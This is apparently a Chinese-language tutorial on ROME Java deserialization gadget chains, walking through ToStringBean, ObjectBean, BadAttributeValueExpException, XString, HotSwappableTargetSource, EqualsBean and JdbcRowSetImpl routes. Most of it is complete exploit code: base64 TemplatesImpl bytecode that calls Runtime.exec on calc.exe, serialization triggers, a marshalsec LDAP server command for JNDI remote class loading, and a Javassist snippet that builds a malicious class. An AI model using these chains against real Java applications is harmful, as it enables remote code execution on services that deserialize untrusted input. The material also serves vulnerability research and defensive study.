ROME反序列化
ROME
ROME是主要用于解析RSS和Atom种子的一个Java框架。ROME支持绝大多数的RSS协议。可以从一种格式转换成另一种格式,也可返回指定格式或 Java 对象。ROME 兼容了 RSS (0.90, 0.91, 0.92, 0.93, 0.94, 1.0, 2.0), Atom 0.3 以及 Atom 1.0 feeds 格式。
他有个特殊的位置就是ROME提供了ToStringBean这个类,提供深入的toString方法对Java Bean进行操作。
依赖:
<dependency>
<groupId>rome</groupId>
<artifactId>rome</artifactId>
<version>1.0</version>
</dependency>
基本原理
ToStringBean
Rome包中的com.sun.syndication.feed.impl.ToStringBean
类中,提供了toString()
方法,其中有两个toString()
一个有参一个无参
无参toString主要是获取_obj
的类名并作为参数调用有参toString
有参toString可以分三布,第一步getPropertyDescriptors,获取_beanClass
中的getter、setter方法,跟进getPropertyDescriptors可以看到其中调用getPDs()方法
跟进getPDs()
,又调用了其他有参构造获取了其中的getter、setter方法,之后将其合并赋给list属性pds,并将其转换为数组形式返回
获取pds返回值中的方法名和方法之后就会Object value = pReadMethod.invoke(_obj,NO_PARAMS);
反射调用该方法_obj类的该方法
因此如果有对象在反序列化过程中会调用任意对象的 toString()
方法,就可以调用其他任意对象的 getter()
方法。
例如在cc3链中讲到的TemplatesImpl利用链就是利用了TemplatesImpl#getOutputProperties()
这个getter方法
demo
package rome;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.ToStringBean;
import javax.xml.transform.Templates;
import java.lang.reflect.Field;
import java.util.Base64;
public class common {
public static void main(String[] args) throws Exception {
TemplatesImpl templatesimpl = new TemplatesImpl();
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIwoABwAUBwAVCAAWCgAXABgKABcAGQcAGgcAGwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAcAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAHQEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAA8AEAEAEGphdmEvbGFuZy9TdHJpbmcBAAhjYWxjLmV4ZQcAHgwAHwAgDAAhACIBABN5c29zZXJpYWwvdGVzdC9ldmlsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAYABwAAAAAAAwABAAgACQACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAACwAMAAAABAABAA0AAQAIAA4AAgAKAAAAGQAAAAQAAAABsQAAAAEACwAAAAYAAQAAAA0ADAAAAAQAAQANAAEADwAQAAIACgAAADsABAACAAAAFyq3AAEEvQACWQMSA1NMuAAEK7YABVexAAAAAQALAAAAEgAEAAAADwAEABAADgARABYAEgAMAAAABAABABEAAQASAAAAAgAT");
setValue(templatesimpl, "_name", "whatever");
setValue(templatesimpl, "_bytecodes", new byte[][]{code});
// 这里对_tfactory的反射赋值在反序列化链中可以不写这步,因为反序列化过程中TemplatesImpl#readObject()会对该值初始化,但Demo是直接调用toString()的
// _tfactory 需要是一个TransformerFactoryImpl对象
// 因为TemplatesImpl#defineTransletClasses()方法里有调用到 _tfactory.getExternalExtensionsMap()如果是null会出错
setValue(templatesimpl, "_tfactory", new TransformerFactoryImpl());
ToStringBean toStringBean = new ToStringBean(Templates.class, templatesimpl);
toStringBean.toString();
}
public static void setValue(Object obj, String name, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
}
利用链
ObjectBean链
这条链是Rome反序列化的原型,由ysoserial 作者提出
TemplatesImpl.getOutputProperties()
ToStringBean.toString(String)
ToStringBean.toString()
EqualsBean.beanHashCode()
EqualsBean.hashCode()
HashMap<K,V>.hash(Object)
HashMap<K,V>.readObject(ObjectInputStream)
开始于HashMap#put()
,如URLDNS链一般,会调用hashCode()
而ObjectBean#hashCode()
中会调用调用EqualsBean#beanhashCode()
public ObjectBean(Class beanClass, Object obj, Set ignoreProperties) {
this._equalsBean = new EqualsBean(beanClass, obj);
this._toStringBean = new ToStringBean(beanClass, obj);
this._cloneableBean = new CloneableBean(obj, ignoreProperties);
}
// ...
public int hashCode() {
return this._equalsBean.beanHashCode();
}
public EqualsBean(Class beanClass, Object obj) {
if (!beanClass.isInstance(obj)) {
throw new IllegalArgumentException(obj.getClass() + " is not instance of " + beanClass);
} else {
this._beanClass = beanClass;
this._obj = obj;
}
}
// ...
public int beanHashCode() {
return this._obj.toString().hashCode();
}
EqualsBean#beanhashCode()
调用toString()
到ToStringBean
exp:
package rome;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
public class ObjectBeanROme {
public static void main(String[] args) throws Exception {
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIwoABwAUBwAVCAAWCgAXABgKABcAGQcAGgcAGwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAcAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAHQEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAA8AEAEAEGphdmEvbGFuZy9TdHJpbmcBAAhjYWxjLmV4ZQcAHgwAHwAgDAAhACIBABN5c29zZXJpYWwvdGVzdC9ldmlsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAYABwAAAAAAAwABAAgACQACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAACwAMAAAABAABAA0AAQAIAA4AAgAKAAAAGQAAAAQAAAABsQAAAAEACwAAAAYAAQAAAA0ADAAAAAQAAQANAAEADwAQAAIACgAAADsABAACAAAAFyq3AAEEvQACWQMSA1NMuAAEK7YABVexAAAAAQALAAAAEgAEAAAADwAEABAADgARABYAEgAMAAAABAABABEAAQASAAAAAgAT");
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_name", "whatever");
setFieldValue(obj, "_class", null);
setFieldValue(obj, "_bytecodes", new byte[][]{code});
ToStringBean bean = new ToStringBean(Templates.class, obj);
ObjectBean objectBean = new ObjectBean(String.class, "whatever");
HashMap map = new HashMap();
map.put(objectBean, "");
// HashMap的put()时,会调用hash() -> hashCode(),因此需要put时先传入无害数据,在通过反射来修改_equalsBean为恶意的。
setFieldValue(objectBean, "_equalsBean", new EqualsBean(ToStringBean.class, bean));
//序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(map);
oos.close();
System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray())));
//反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}
public static void setFieldValue(Object obj, String fieldname, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldname);
field.setAccessible(true);
field.set(obj, value);
}
}
BadAttributeValueExpException链
cc5中就利用它触发TiedMapEntry
类的 toString()
方法
BadAttributeValueExpException#readobject()
,在最后调用了toString()
方法,并且它的val
属性我们可以通过反射修改,那就可以直接触发到ToStringBean中的toString方法
package rome;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.ToStringBean;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
public class BadAttributeValueExpExceptionRome {
public static void main(String[] args) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIwoABwAUBwAVCAAWCgAXABgKABcAGQcAGgcAGwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAcAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAHQEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAA8AEAEAEGphdmEvbGFuZy9TdHJpbmcBAAhjYWxjLmV4ZQcAHgwAHwAgDAAhACIBABN5c29zZXJpYWwvdGVzdC9ldmlsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAYABwAAAAAAAwABAAgACQACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAACwAMAAAABAABAA0AAQAIAA4AAgAKAAAAGQAAAAQAAAABsQAAAAEACwAAAAYAAQAAAA0ADAAAAAQAAQANAAEADwAQAAIACgAAADsABAACAAAAFyq3AAEEvQACWQMSA1NMuAAEK7YABVexAAAAAQALAAAAEgAEAAAADwAEABAADgARABYAEgAMAAAABAABABEAAQASAAAAAgAT");
setFieldValue(obj,"_name","whatever");
setFieldValue(obj,"_bytecodes",new byte[][]{code});
setFieldValue(obj,"_class",null);
ToStringBean bean = new ToStringBean(Templates.class, obj);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(123);
setFieldValue(badAttributeValueExpException,"val",bean);
//序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(badAttributeValueExpException);
oos.close();
System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray())));
//反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}
public static void setFieldValue(Object obj, String fieldname, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldname);
field.setAccessible(true);
field.set(obj, value);
}
}
XString链
com.sun.org.apache.xpath.internal.objects.XString
是用于处理 XPath 相关操作的类
HashMap.readObject() -> XString.equals() -> 任意调 toString()
HashMap#readObject()
触发putVal()
,
跟进putVal(),调用equals方法
由此处触发XString#equals()
调用任意对象的toString方法
public boolean equals(Object obj2)
{
if (null == obj2)
return false;
// In order to handle the 'all' semantics of
// nodeset comparisons, we always call the
// nodeset function.
else if (obj2 instanceof XNodeSet)
return obj2.equals(this);
else if(obj2 instanceof XNumber)
return obj2.equals(this);
else
return str().equals(obj2.toString()); //#########
}
package rome;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import com.sun.syndication.feed.impl.ToStringBean;
import static org.example.Tools.*;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class XStringRome {
public static void main(String[] args) throws Exception {
// byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIwoABwAUBwAVCAAWCgAXABgKABcAGQcAGgcAGwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAcAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAHQEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAA8AEAEAEGphdmEvbGFuZy9TdHJpbmcBAAhjYWxjLmV4ZQcAHgwAHwAgDAAhACIBABN5c29zZXJpYWwvdGVzdC9ldmlsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAYABwAAAAAAAwABAAgACQACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAACwAMAAAABAABAA0AAQAIAA4AAgAKAAAAGQAAAAQAAAABsQAAAAEACwAAAAYAAQAAAA0ADAAAAAQAAQANAAEADwAQAAIACgAAADsABAACAAAAFyq3AAEEvQACWQMSA1NMuAAEK7YABVexAAAAAQALAAAAEgAEAAAADwAEABAADgARABYAEgAMAAAABAABABEAAQASAAAAAgAT");
byte[] code = getBytes("rome.evil");
TemplatesImpl templates = new TemplatesImpl();
setValue(templates, "_name", "whatever");
setValue(templates, "_bytecodes", new byte[][]{code});
ToStringBean toStringBean = new ToStringBean(Templates.class, templates);
XString xString = new XString("whatever");
// yy 与 zZ 的 hashCode() 相同,因此才会触发 HashMap 去重操作
// 这里添加的顺序也比较重要,要不然就反了
Map map1 = new HashMap();
map1.put("yy", toStringBean);
map1.put("zZ", xString);
Map map2 = new HashMap();
map2.put("yy", xString);
map2.put("zZ", toStringBean);
Map map = new HashMap();
map.put(map1, 1);
map.put(map2, 2);
setValue(toStringBean, "_beanClass", Templates.class);
setValue(toStringBean, "_obj", templates);
//序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(map);
oos.close();
System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray())));
//反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}
public static void setValue(Object obj, String name, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
}
HotSwappableTargetSource链
HotSwappableTargetSource
是 Spring 框架中的一个类,属于 Spring AOP(Aspect-Oriented Programming) 组件,通常用于动态切换目标对象。它位于 spring-aop
依赖中
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-aop</artifactId>
<version>5.3.30</version> <!-- 选择适合你的 Spring 版本 -->
</dependency>
这里equals()
前后有两个target,这就需要构造两个HotSwappableTargetSource实例,左边为XString,右边为ToStringBean
然后再找一个equals来触发它,感觉有点多余(比如用HashMap的readObject())
package rome;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import com.sun.syndication.feed.impl.ToStringBean;
import org.springframework.aop.target.HotSwappableTargetSource;
import static org.example.Tools.*;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
import static org.example.Tools.getBytes;
public class HotSwappableTargetSourceRome {
public static void main(String[] args) throws Exception {
byte[] code = getBytes("rome.evil");
TemplatesImpl templates = new TemplatesImpl();
setValue(templates, "_name", "whatever");
setValue(templates, "_bytecodes", new byte[][]{code});
ToStringBean toStringBean = new ToStringBean(Templates.class, templates);
HotSwappableTargetSource hotSwappableTargetSource1 = new HotSwappableTargetSource(new XString("1"));
HotSwappableTargetSource hotSwappableTargetSource2 = new HotSwappableTargetSource(toStringBean);
// yy 与 zZ 的 hashCode() 相同,因此才会触发 HashMap 去重操作
Map map1 = new HashMap();
map1.put("yy", hotSwappableTargetSource2);
map1.put("zZ", hotSwappableTargetSource1);
Map map2 = new HashMap();
map2.put("yy", hotSwappableTargetSource1);
map2.put("zZ", hotSwappableTargetSource2);
Map map = new HashMap();
map.put(map1, 1);
map.put(map2, 2);
setValue(toStringBean, "_beanClass", Templates.class);
setValue(toStringBean, "_obj", templates);
//序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(map);
oos.close();
System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray())));
//反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}
public static void setValue(Object obj, String name, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
}
或者说这个
package rome;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import com.sun.syndication.feed.impl.ToStringBean;
import org.springframework.aop.target.HotSwappableTargetSource;
import static org.example.Tools.*;
import javax.xml.transform.Templates;
import java.util.Base64;
import java.util.HashMap;
public class HotSwappableTargetSourceRome2 {
public static void main(String[] args) throws Exception{
byte[] bytes = getBytes("rome.evil");
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "whatever");
setFieldValue(templates, "_class", null);
setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
ToStringBean toStringBean = new ToStringBean(Templates.class,templates);
HotSwappableTargetSource hotSwappableTargetSource1 = new HotSwappableTargetSource(new XString("1"));
HotSwappableTargetSource hotSwappableTargetSource2 = new HotSwappableTargetSource(toStringBean);
HashMap hashMap = new HashMap();
hashMap.put(hotSwappableTargetSource2,"1");
hashMap.put(hotSwappableTargetSource1,"1");
byte[] serialize = serialize(hashMap);
System.out.println(new String(Base64.getEncoder().encode(serialize)));
unserialize(serialize);
}
}
EqualsBean 无ToStringBean链
前边的所有方式都用到了ToStringBean这条链,但若该类被加入了黑名单,则可用EqualsBean
中的beanEquals()
方法
这里用cc7的调用equals 的方法,调用的是value的equals()
,因此value要设置为EqualsBean
类型,而equals()
中的参数在beanEquals()
中会判断是否为_beanClass的子类或子类实例
,_beanClass
根据前边的经验是Templates类型的,因此equals()中的参数也要是Templates类型
map1.put("yy",equalsBean);
map1.put("zZ",templates);
map2.put("zZ",equalsBean);
map2.put("yy",templates);
EqualsBean equalsBean = new EqualsBean(String.class, "aaa");
先无害化处理
package rome;
import static org.example.Tools.*;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import javax.xml.transform.Templates;
import java.util.HashMap;
import java.util.Hashtable;
public class EqualsBeanRome {
public static void main(String[] args) throws Exception {
byte[] bytes = getBytes("rome.evil");
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "Sentiment");
setFieldValue(templates, "_class", null);
setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
EqualsBean equalsBean = new EqualsBean(String.class, "aaa");// 这里先设无害的参数,要不然执行后会抛出异常结束进程
HashMap map1 = new HashMap();
HashMap map2 = new HashMap();
map1.put("yy",equalsBean);
map1.put("zZ",templates);
map2.put("zZ",equalsBean);
map2.put("yy",templates);
//Hashtable hashtable = new Hashtable(); //这里HashMap和Hashtable都可以的
HashMap hashtable = new HashMap();
hashtable.put(map1,"1");
hashtable.put(map2,"1");
setFieldValue(equalsBean,"_beanClass",Templates.class);
setFieldValue(equalsBean,"_obj",templates);
byte[] serialize = serialize(hashtable);
unserialize(serialize);
}
}
JdbcRowSetImpl链
还是用ToStringBean#toString
的触发方式,后边可以调用任意对象的getter方法,结合JNDI注入就可以调用JdbcRowSetImpl#getDatabaseMetaData()
,在JdbcRowSetImpl的getDatabaseMetaData()
会调用connect()
,触发lookup()
进行远程类加载
lookup()中参数可控,可通过对应的Setter方法进行赋值
由于getDatabaseMetaData()
是以get
开头,因此在ToStringBean的toString()
,可通过循环反射调用
还是用HashMap调用hashCode()
的方式触发
python -m http.server 7777
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:7777/#test 9999
package rome;
import static org.example.Tools.*;
import com.sun.rowset.JdbcRowSetImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.util.Base64;
import java.util.HashMap;
public class JdbcRowSetImplRome {
public static void main(String[] args) throws Exception {
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
String url = "ldap://127.0.0.1:9999/test";
jdbcRowSet.setDataSourceName(url);
ToStringBean bean = new ToStringBean(JdbcRowSetImpl.class, jdbcRowSet);
ObjectBean objectBean = new ObjectBean(String.class, "whatever");
HashMap map = new HashMap();
map.put(objectBean, "");
setFieldValue(objectBean, "_equalsBean", new EqualsBean(ToStringBean.class, bean));
//序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(map);
oos.close();
System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray())));
//反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}
}
利用Javassist缩短payload
我们使用的恶意类,由于必须继承自AbstractTranslet
方法,因此对其的两个transform
方法进行了重写,添加了payload的长度.javassist
是用来动态修改字节码的,可以通过javassist
跳过编译去构建一个class文件.
String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
// 创建EvilTest对象,父类为AbstractTranslet,注入了payload进静态代码块
ClassPool classPool = ClassPool.getDefault(); // 返回默认的类池
classPool.appendClassPath(AbstractTranslet); // 添加AbstractTranslet的搜索路径
CtClass payload = classPool.makeClass("EvilTest"); // 创建一个新的public类
payload.setSuperclass(classPool.get(AbstractTranslet)); // 设置EvilTest的父类为AbstractTranslet
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); // 创建一个static方法,并插入runtime
byte[] code = payload.toBytecode();
得到
大大减少了poc的长度